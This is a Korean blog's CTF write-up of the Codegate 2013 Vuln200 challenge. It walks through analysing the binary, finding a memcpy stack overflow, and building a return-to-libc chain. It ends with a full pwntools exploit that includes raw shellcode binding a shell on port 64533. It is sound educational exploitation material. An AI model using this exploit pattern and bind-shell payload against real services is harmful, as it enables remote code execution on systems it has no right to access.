표튜터와 함께하는 Pwnable/CTF Write-up

[Codegate2013] Vuln200 Write-up

IMyoungho 2019. 2. 7. 21:06

혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.


Codegate2013 Vuln200 Write up이다. 

다하고 보니 생각보다 쉽지만 너무 어렵다고 생각해서 그런지 많이 돌아온 듯 하다..

ctf 출제 문제들을 많이 풀어보지 않아서 그런거라고 위안을 삼고 노력해야겠다ㅠ

참고로 파일명은 hello로 편의를 위해 내가 변경한 것이다.(오해 노노~)






우선 문제를 풀기위해 셋팅을 해주고~

실행을 시켜보았다.

몇 가지 메뉴가 나왔다~






대충 이런느낌의 프로그램이었다.

md5나 base64인코딩과 디코딩








이 파일에 어떤 mitigation이 있는지 확인해보았다.

NX보호기법이 없기 때문에 스택에서 공격이 가능할 것으로 보이고

symbol이 지워져있었다. 

그리고 dynamically linked로 공유라이브러리를 사용하고 있기 때문에

RTL을 이용할 수도 있다고 판단했다.



IDA Hex ray로 본 바이너리



Main()함수를 분석해보기로 하였다.

실제로 프로그램에서 동작하는 부분은 다른 함수로 빠져있었다.

이 부분은 R_main이라고 새로 명명해주었고

주로 사용되는 변수들을 찾아보았다.

buf라는 변수와 fd, length가 R_main의 인자로 넘어갔다.









buf의 크기는 400이였고

recv는 수신할 수 있는 바이트 크기를 return함으로 

length 역시 400이 되었다.



다음으로는 R_main()함수를 분석해보기로 했다.

우선 눈에 들어왔던 것은 바로 "write" 였다.

분명 메뉴에는 없었지만 아래의 코드를 보니 또하나의 숨겨진 메뉴같았다.






또한 이 부분에서 memcpy에 대한 취약점이 일어날 수 있는 생김새가 발견되었다.









위의 코드에서 사용되는 dest의 크기는 236인데

memcpy에서의 length값이 236보다 크기 때문에

 스택 버퍼오버플로우가 충분히 일어날 수 있었다.







또한 sub_80493B1()함수를 보니

dump.txt파일로 dest에 대한 메모리를 dump해주는 코드가 들어있었다.









프로그램에서 write를 입력해보았더니 dump.txt파일이

생성되었고 내부에는 인자로 넘겨준 값들이 들어가 있었다.

memcpy에서 length의 길이가 더 길게되면 

오버플로우가 일어나는 이유를 눈으로 보게되었다.





위의 내용을 이용하여 exploit 코드를 짜보았다.

이런 형식으로 exploit 코드를 제작하기로 했다.





우리가 필요한 것은 sfp까지 덮을 "문자"*240개

쉘코드를 담을 bss영역의 버퍼

recv@plt

recv의 인자를 담을 ppppr이 있었다.




저런식으로 구성하는 이유는

"a"*240으로 dest버퍼와 sfp까지 덮은 뒤 ret를 recv@plt로 해서

RTL Chaning을 하게된다.

recv() 함수의 인자가 4개이므로

ppppr의 gadget이 필요하며

인자로 bss영역을 버퍼로 주고 shellcode의 길이 값 등을 주어

bss영역에 shellcode를 저장시킬준비를 한 뒤

실행을 시켜주면 된다!!



하나씩 차근차근 구해보았다.




먼저 recv@plt 이다.

recv()@plt = 0x08048780






.bss영역

.bss = 0x0804b0a0






ppppr Gadget

ppppr Gadget = 0x0804947c







위의 내용들을 이용해서 exploit을 짜보았다.

exploit 마지막에 p.send를 이용하여 bss영역에 만들어놓은

버퍼에 쉘코드를 입력하면 쉘코드가 들어있는 버퍼가

 ret로 넘어가면서 쉘코드가 실행된다.





1
2
3
4
5
 6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
bss=0x0804b0a0
gadget=0x0804947c
recv_plt=0x08048780
p=remote("localhost",7777)
 
shell = "\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89
            \xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51
         \x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66
         \x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd
         \x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
         \x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"
     
payload = "write"
payload += "a"*240
payload += p32(recv_plt)
payload += p32(gadget)
payload += p32(4)
payload += p32(bss)
payload += p32(len(shell))
payload += p32(0)
payload += p32(bss)
 
p.send(payload)
sleep(0.5)
p.send(shell)
 
 









쉘코드가 64533번 포트를 열어주는 쉘코드임으로

이런식으로 공격을 진행한다.








반응형